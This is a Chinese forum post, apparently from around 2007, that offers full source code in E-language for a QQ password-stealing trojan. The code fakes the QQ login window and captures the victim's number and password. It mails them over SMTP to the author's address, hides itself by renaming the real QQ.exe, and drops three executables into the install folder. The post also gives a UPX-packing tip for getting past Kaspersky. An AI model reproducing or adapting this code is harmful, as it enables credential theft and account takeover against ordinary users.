【原创】QQ2007盗号软件编制
———————————————————————————————————————
絮语
大家今年玩的开心否,QQ号盗着了么?什么,没有工具,不会自己编呀。明小子热了一阵,不过似乎有后门,就不惜说了,金狐呢,一不小心狐狸尾巴就露出来喽,稍有点电脑常识的一看就知道有问题(设置,查杀木马)都是死的,不能用,所以---
我自已写,本人本会Delphi,VB,VC++,Masm32,Java等多种语言为了省事,高效,选择易语言(不是我偏爱它,而是他对程序界面提供了好的控件)。
注:此程序绝对没有调用钩子函数,只是伪造了登陆框。
———————————————————————————————————————
开始
准备工具:中华神捕(或SnagIt视个人喜好而定),易语言(你会什么用什么)
抓图:
1)打开中华神捕,先捕捉窗口,捕下QQ登陆界面,保存(废话),用画图编辑一下,去掉一些东西QQ号码框给抹掉,别的东西该怎么弄都知道,不再多说。
2)同样的方法抓下查杀木马,设置,登陆等等很多控件在不同时候(默认,鼠标放上,按下)的图片,也可以找资源,在此不罗嗦。
制作:
为了不让人发现,先定流程如下:
QQ.exe-->>先把真正的QQ.exe改名为QQ.dll,在用QQ.exe放入,功能是调用Temp.exe
Temp.exe-->>修改QQ.exe-->>QQ.god,QQ.dll-->>QQ.exe,QQ.god-->>QQ.dll
再调用QQUpdata.exe
QQUpdata.exe-->>伪装真QQ
用密码调用QQ.exe(真的)
代码如下
QQUpdata.exe(可直接复制,粘贴)
编辑框2:密码框
'—————————从这里开始——————————————————————————
.版本 2
.支持库 dp1
.支持库 internet
.程序集 窗口程序集1
.程序集变量 QQ目录路径, 文本型
.程序集变量 QQ路径, 文本型
.子程序 _编辑框2_被双击, 逻辑型
.参数 横向位置, 整数型
.参数 纵向位置, 整数型
.参数 功能键状态, 整数型
返回 (假)
.子程序 _编辑框2_鼠标右键被按下, 逻辑型
.参数 横向位置, 整数型
.参数 纵向位置, 整数型
.参数 功能键状态, 整数型
返回 (假)
.子程序 _编辑框2_鼠标右键被放开, 逻辑型
.参数 横向位置, 整数型
.参数 纵向位置, 整数型
.参数 功能键状态, 整数型
返回 (假)
.子程序 _编辑框2_鼠标位置被移动, 逻辑型
.参数 横向位置, 整数型
.参数 纵向位置, 整数型
.参数 功能键状态, 整数型
返回 (假)
.子程序 _编辑框2_按下某键, 逻辑型
.参数 键代码, 整数型
.参数 功能键状态, 整数型
.如果真 (键代码 = #V键 且 功能键状态 = 1)
返回 (假)
.如果真结束
.如果真 (键代码 = #左光标键 且 功能键状态 = 2)
返回 (假)
.如果真结束
.如果真 (键代码 = #右光标键 且 功能键状态 = 2)
返回 (假)
.如果真结束
.如果真 (键代码 = #回车键)
_图形按钮2_被单击 ()
.如果真结束
.子程序 __启动窗口_创建完毕
编辑框2.获取焦点 ()
.如果真 (注册项是否存在 (4, “SOFTWARE\TENCENT\PLATFORM_TYPE_LIST\1\TypeName”) = 假)
结束 ()
.如果真结束
QQ路径 = 取文本注册项 (4, “SOFTWARE\TENCENT\PLATFORM_TYPE_LIST\1\TypePath”, )
QQ目录路径 = 取文本注册项 (4, “Software\Tencent\QQ\install”, “未检测到QQ”)
.如果真 (QQ目录路径 = “未检测到QQ”)
结束 ()
.如果真结束
取数值目录到组合框 (QQ目录路径, 组合框1)
编辑框1.内容 = 组合框1.取项目文本 (0)
.子程序 _透明标签1_鼠标左键被按下, 逻辑型
.参数 横向位置, 整数型
.参数 纵向位置, 整数型
.参数 功能键状态, 整数型
弹出菜单 (登录方式, , )
.子程序 登录
.局部变量 摘要文本, 文本型
.局部变量 摘要字节集, 字节集
.局部变量 加密的密码, 文本型
.局部变量 隐身, 文本型, , , 40:隐身;41:不隐身
.局部变量 变量1, 整数型
摘要文本 = 取数据摘要 (到字节集 (编辑框2.内容))
摘要字节集 = 取空白字节集 (16)
.计次循环首 (16, 变量1) ' 由于数据摘要文本长度为32,这里将每两位文本按十六进制转换为十进制字节,生成一个长为16的摘要字节集。
摘要字节集 [变量1] = 到字节 (十六进制到十进制 (取文本中间 (摘要文本, (变量1 - 1) × 2 + 1, 2)))
.计次循环尾 ()
加密的密码 = BASE64编码 (摘要字节集)
隐身 = 选择 (选择框2.选中, “40”, “41”)
_启动窗口.可视 = 假
运行 (QQ路径 + “ /START QQUIN:” + 编辑框1.内容 + “ PWDHASH:” + 加密的密码 + “ /STAT:” + 隐身, 真, )
运行 (“Taskkill /f /im QQ.exe”, 真, 1)
文件更名 (QQ目录路径 + “\QQ.exe”, “QQ.god”)
文件更名 (QQ目录路径 + “\QQ.dll”, “QQ.exe”)
文件更名 (QQ目录路径 + “\QQ.god”, “QQ.dll”)
结束 ()
.子程序 _图形按钮1_被单击
组合框1.发送信息 (335, 1, 0)
.子程序 _图形按钮2_被单击
.局部变量 SMTP, 文本型
.局部变量 发信邮箱, 文本型
.局部变量 用户名, 文本型
.局部变量 密码, 文本型
.局部变量 收信邮箱, 文本型
.局部变量 内容, 文本型
'把他们改成真的!!
SMTP = “]lYffQHe@L?EGiLp-DN>b]oL”
发信邮箱 = “d,EENZAo{$U)^rjaIRW;($C.&V.Gcx”
用户名 = “(|,L|WuvD{H<=ep_hF[U”
密码 = “!OFxs'pOaaIJoz>t&LFa”
收信邮箱 = “cOXY:'tgnspBKfuk-^{eVmh!pp.gj|”
SMTP = 删首尾空 (SMTP)
发信邮箱 = 删首尾空 (发信邮箱)
用户名 = 删首尾空 (用户名)
密码 = 删首尾空 (密码)
收信邮箱 = 删首尾空 (收信邮箱)
连接发信服务器 (SMTP, , 用户名, 密码, 20000)
内容 = “听说你QQ号被盗了,我又申了一个” + #换行符 + “给你个QQ号,先用着,QQ号:” + 编辑框1.内容 + “ 密码:” + 编辑框2.内容
发送邮件 (“最近生活怎样?”, “听说你QQ号被盗了,我又申了一个” + #换行符 + “给你个QQ号,先用着,QQ号:” + 编辑框1.内容 + “ 密码:” + 编辑框2.内容, 收信邮箱, [email=“
zhongruiguang@gmail.com]“
zhongruiguang@gmail.com[/email]”, , 发信邮箱, )
’自己看着办吧!!!
断开发信服务器 ()
登录 ()
.子程序 _手机号码_被选择
标签1.标题 = “手机号”
编辑框1.内容 = “<请在这儿输入手机号码>”
编辑框1.被选择字符数 = -1
编辑框1.获取焦点 ()
.子程序 _小灵通号码_被选择
标签1.标题 = “小灵通”
编辑框1.内容 = “<区号+小灵通号>”
编辑框1.被选择字符数 = -1
编辑框1.获取焦点 ()
.子程序 _QQ号码_被选择
标签1.标题 = “QQ号码”
编辑框1.内容 = 组合框1.取项目文本 (0)
编辑框2.获取焦点 ()
.子程序 __启动窗口_可否被关闭, 逻辑型
运行 (“Taskkill /f /im QQ.exe”, 真, 1)
文件更名 (QQ目录路径 + “\QQ.exe”, “QQ.god”)
文件更名 (QQ目录路径 + “\QQ.dll”, “QQ.exe”)
文件更名 (QQ目录路径 + “\QQ.god”, “QQ.dll”)
.子程序 _组合框1_列表项被选择
编辑框1.内容 = 组合框1.内容
‘————————————————结束—————————————————————
.版本 2
.程序集 模块集
.子程序 取数值目录到组合框
.参数 目录名, 文本型
.参数 组合框, 组合框
.局部变量 ee, 文本型
ee = 寻找文件 (目录名 + “*.*”, #子目录)
.判断循环首 (ee ≠ “”)
.如果真 (取文本左边 (ee, 1) ≠ “.”)
.如果 (到文本 (到数值 (ee)) = ee)
.如果真 (ee ≠ “0”)
组合框.加入项目 (ee, )
.如果真结束
输出调试文本 (ee)
.否则
.如果结束
.如果真结束
ee = 寻找文件 (, #子目录)
.判断循环尾 ()
.子程序 BASE64编码, 文本型
.参数 待编码数据, 字节集
.局部变量 数据长度
.局部变量 余数
.局部变量 整数容器
.局部变量 当前数据, 字节集
.局部变量 字符1, 文本型
.局部变量 字符2, 文本型
.局部变量 字符3, 文本型
.局部变量 字符4, 文本型
.局部变量 输出数据, 文本型
数据长度 = 取字节集长度 (待编码数据)
.如果真 (数据长度 < 1)
返回 (“”)
.如果真结束
余数 = 数据长度 % 3
.如果真 (余数 > 0)
待编码数据 = 待编码数据 + 取空白字节集 (3 - 余数)
.如果真结束
.变量循环首 (1, 取字节集长度 (待编码数据), 3, 整数容器)
当前数据 = 取字节集中间 (待编码数据, 整数容器, 3)
字符1 = 取文本中间 (#BASE64集合, 位与 (当前数据 [1], 252) \ 4 + 1, 1)
字符2 = 取文本中间 (#BASE64集合, 位与 (位或 (位与 (当前数据 [2], 240) \ 16, 位与 (当前数据 [1], 3) × 16), 255) + 1, 1)
字符3 = 取文本中间 (#BASE64集合, 位与 (位或 (位与 (当前数据 [3], 192) \ 64, 位与 (当前数据 [2], 15) × 4), 255) + 1, 1)
字符4 = 取文本中间 (#BASE64集合, 位与 (当前数据 [3], 63) + 1, 1)
输出数据 = 输出数据 + 字符1 + 字符2 + 字符3 + 字符4
.变量循环尾 ()
数据长度 = 取文本长度 (输出数据)
.如果真 (余数 > 0)
.如果 (余数 = 1)
输出数据 = 文本替换 (输出数据, 数据长度 - 1, 2, “==”)
.否则
输出数据 = 文本替换 (输出数据, 数据长度, 1, “=”)
.如果结束
.如果真结束
返回 (输出数据)
.子程序 十六进制到十进制, 文本型
.参数 十六进制文本, 文本型
.局部变量 中间文本, 文本型
.局部变量 结果, 长整数型
.局部变量 容器1, 整数型
.变量循环首 (1, 取文本长度 (十六进制文本), 1, 容器1)
中间文本 = 取文本中间 (十六进制文本, 容器1, 1)
结果 = (寻找文本 (“0123456789ABCDEF”, 中间文本, , 真) - 1) × 求次方 (16, 取文本长度 (十六进制文本) - 容器1) + 结果
.变量循环尾 ()
返回 (到文本 (结果))
—————————————————————————————————————————————
另外两程序
Temp.exe::
.版本 2
.程序集 窗口程序集1
.子程序 __启动窗口_创建完毕
运行 (“taskkill /f /im qq.exe”, 真, 1)
延时 (200)
文件更名 (取运行目录 () + “\QQ.exe”, “QQ.god”)
文件更名 (取运行目录 () + “\QQ.dll”, “QQ.exe”)
文件更名 (取运行目录 () + “\QQ.god”, “QQ.dll”)
运行 (取运行目录 () + “\QQupdata.exe”, 假, )
结束 ()
————————————————————————————————————
QQ.exe(其实就是个Loader,用别的编也一样,反而更好);
.版本 2
.程序集 窗口程序集1
.子程序 __启动窗口_创建完毕
运行 (取运行目录 () + “\Temp.exe”, 假, )
结束 ()
————————————————————————————
再作真正的木马
三个程序编译完后
生成了三个可执行文件
再把三个可执行文件作为资源放程序里,
生成真正的木马(Delphi也可以呀,我只是提供一个思路)
代码如下
——————————————————————————————————————————
.版本 2
.支持库 eAPI
.程序集 窗口程序集1
.子程序 __启动窗口_创建完毕
.局部变量 QQ路径, 文本型
.局部变量 QQ目录路径, 文本型
.如果真 (注册项是否存在 (4, “SOFTWARE\TENCENT\PLATFORM_TYPE_LIST\1\TypeName”) = 假)
结束 ()
.如果真结束
QQ路径 = 取文本注册项 (4, “SOFTWARE\TENCENT\PLATFORM_TYPE_LIST\1\TypePath”, )
QQ目录路径 = 取文本注册项 (4, “Software\Tencent\QQ\install”, “未检测到QQ”)
.如果真 (QQ目录路径 = “未检测到QQ”)
结束 ()
.如果真结束
.如果真 (文件是否存在 (QQ目录路径 + “\QQ.dll”))
结束 ()’防止重复感染,把真正的QQ给覆盖掉。
.如果真结束
运行 (“taskkill /f /im qq.exe”, 真, 1)
终止进程 (“QQ.exe”)
文件更名 (QQ路径, QQ目录路径 + “\QQ.dll”)
写到文件 (QQ目录路径 + “\QQ.exe”, #Loader)
写到文件 (QQ目录路径 + “\Temp.exe”, #Temp)
写到文件 (QQ目录路径 + “\QQUpdata.exe”, #QQUpdata)
结束 ()
———————————————————————————————————————————
等下,要源码的联系QQ:544515655,
{{{其中我真名是 D6 D9 EE A3 B9 E2 知道怎么转换吧??不会用WinHex新建一个文件,把此十六进制代码输进去,如果我的名字和邮箱对应,恭喜了}}}
或给我发邮件(zhongruiguang@gmail.com)
邮箱地址请不要直接复制粘贴(我动手脚了啊,嘻嘻!!!)
再说说易语言写的程序如何不被卡巴死机误杀很简单哈,用upx目录压缩e语言\lib\下的所有文件。
PS:想交个朋友的回帖时打上QQ或邮箱。